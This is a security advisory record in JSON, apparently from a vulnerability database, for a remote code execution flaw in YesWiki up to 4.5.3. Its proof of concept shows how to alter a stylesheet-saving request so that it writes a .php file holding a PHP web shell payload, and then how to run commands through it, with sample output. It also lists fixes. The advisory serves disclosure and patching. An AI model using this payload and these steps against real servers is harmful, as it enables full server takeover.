{"id":"GHSA-88xg-v53p-fpvf","summary":"YesWiki Remote Code Execution via Arbitrary PHP File Write and Execution","details":"### Summary\nAn arbitrary file write can be used to write a file with a PHP extension, which then can be browsed to in order to execute arbitrary code on the server. \n\nAll testing was performed on a local docker setup running the latest version of the application.\n\n### PoC\nProof of Concept\n\nNavigate to `http://localhost:8085/?LookWiki` which allows you to click `Create a new Graphical configuration` where you specify some parameters and then click `Save`. \n\n![LookWiki](https://github.com/user-attachments/assets/11c638ec-b700-483a-91fb-2d83107c2c69)\n\n\nAfter clicking save, this request is made (most headers removed for clarity): \n\n```\nPOST /?api/templates/custom-presets/test.css HTTP/1.1\nHost: localhost:8085\n\nprimary-color=%230c5d6a&secondary-color-1=%23d8604c&secondary-color-2=%23d78958&neutral-color=%234e5056&neutral-soft-color=%2357575c&neutral-light-color=%23f2f2f2&main-text-fontsize=17px&main-text-fontfamily=%22Nunito%22%2C+sans-serif&main-title-fontfamily='Nunito'%2C+sans-serif\n```\n\nThis request writes the file `test.css` to disk with the contents (abbreviated)\n```\n:root {\n  --primary-color: #0c5d6a;\n  --secondary-color-1: #d8604c;\n  --secondary-color-2: #d78958;\n  --neutral-color: #4e5056;\n  --neutral-soft-color: #57575c;\n  --neutral-light-color: #f2f2f2;\n  --main-text-fontsize: 17px;\n  --main-text-fontfamily: \"Nunito\", sans-serif;\n  --main-title-fontfamily: 'Nunito', sans-serif;\n}\n```\n\nTo exploit this, utilize a proxy tool to intercept the the first request and change the filename extension to `.php` and add arbitrary PHP code in for one of the request body parameters. \n\ne.g. `primary-color=%3C%3Fphp+system%28%24_GET%5B%27cmd%27%5D%29%3B+%3F%3E`\n\nNow the file `pizzapower.php` is written to `/var/www/html/custom/css-presets/pizzapower.php` and it starts with this, where the PHP code is present. \n\n\n```\n:root {\n  --primary-color: \u003c?php system($_GET['cmd']); ?\u003e;\n  --secondary-color-1: #d8604c;\n  --secondary-color-2: #d78958;\n  --neutral-color: #4e5056;\n  --neutral-soft-color: #57575c;\n  --neutral-light-color: #f2f2f2;\n  --main-text-fontsize: 17px;\n  --main-text-fontfamily: \"Nunito\", sans-serif;\n  --main-title-fontfamily: 'Nunito', sans-serif;\n}\n```\n\nThen, simply visit the file with a `cmd` parameter included. \n\n```\nhttp://localhost:8085/custom/css-presets/pizzapower.php?cmd=id\n```\n\nAnd the HTTP response will contain the output of our command. Notably this request can be performed unauthenticated (the creation of the file requires auth, though). \n\n```\n:root {\n  --primary-color: uid=501(yeswiki) gid=501 groups=501\n;\n  --secondary-color-1: #d8604c;\n  --secondary-color-2: #d78958;\n  --neutral-color: #4e5056;\n  --neutral-soft-color: #57575c;\n  --neutral-light-color: #f2f2f2;\n  --main-text-fontsize: 17px;\n  --main-text-fontfamily: \"Nunito\", sans-serif;\n  --main-title-fontfamily: 'Nunito', sans-serif;\n}\n```\n![injection](https://github.com/user-attachments/assets/6567d500-23b9-4587-a166-3b49878446e7)\n\n### Impact\n\nFull compromise of the server. Can potentially be performed unwittingly by a user subjected to the previously reported (or future) XSS vulnerabilities. \n\n## Fixes\n\nAmongst others: \n\nRestrict file extensions: Only allow a safelist of extensions (e.g., .css) when saving files via this feature.\nHarden server config: Disable PHP execution in user-writable directories","aliases":["CVE-2025-46347"],"modified":"2026-09-10T03:50:23.626248021Z","published":"2025-04-29T14:45:42Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2025-04-29T14:45:42Z","nvd_published_at":"2025-04-29T18:15:44Z","cwe_ids":["CWE-116"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/YesWiki/yeswiki/security/advisories/GHSA-88xg-v53p-fpvf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-46347"},{"type":"WEB","url":"https://github.com/YesWiki/yeswiki/commit/8fe5275a78dc7e0f9c242baa3cbac6b5ac1cc066"},{"type":"PACKAGE","url":"https://github.com/YesWiki/yeswiki"}],"affected":[{"package":{"name":"yeswiki/yeswiki","ecosystem":"Packagist","purl":"pkg:composer/yeswiki/yeswiki"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.4"}]}],"versions":["4.2.3","v4.1.0","v4.1.1","v4.1.2","v4.1.3","v4.1.4","v4.1.5","v4.2.0","v4.2.1","v4.2.2","v4.2.4","v4.3","v4.3.1","v4.4.0","v4.4.1","v4.4.2","v4.4.3","v4.4.4","v4.4.5","v4.5.0","v4.5.1","v4.5.2","v4.5.3"],"database_specific":{"last_known_affected_version_range":"\u003c= 4.5.3","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/04/GHSA-88xg-v53p-fpvf/GHSA-88xg-v53p-fpvf.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"}]}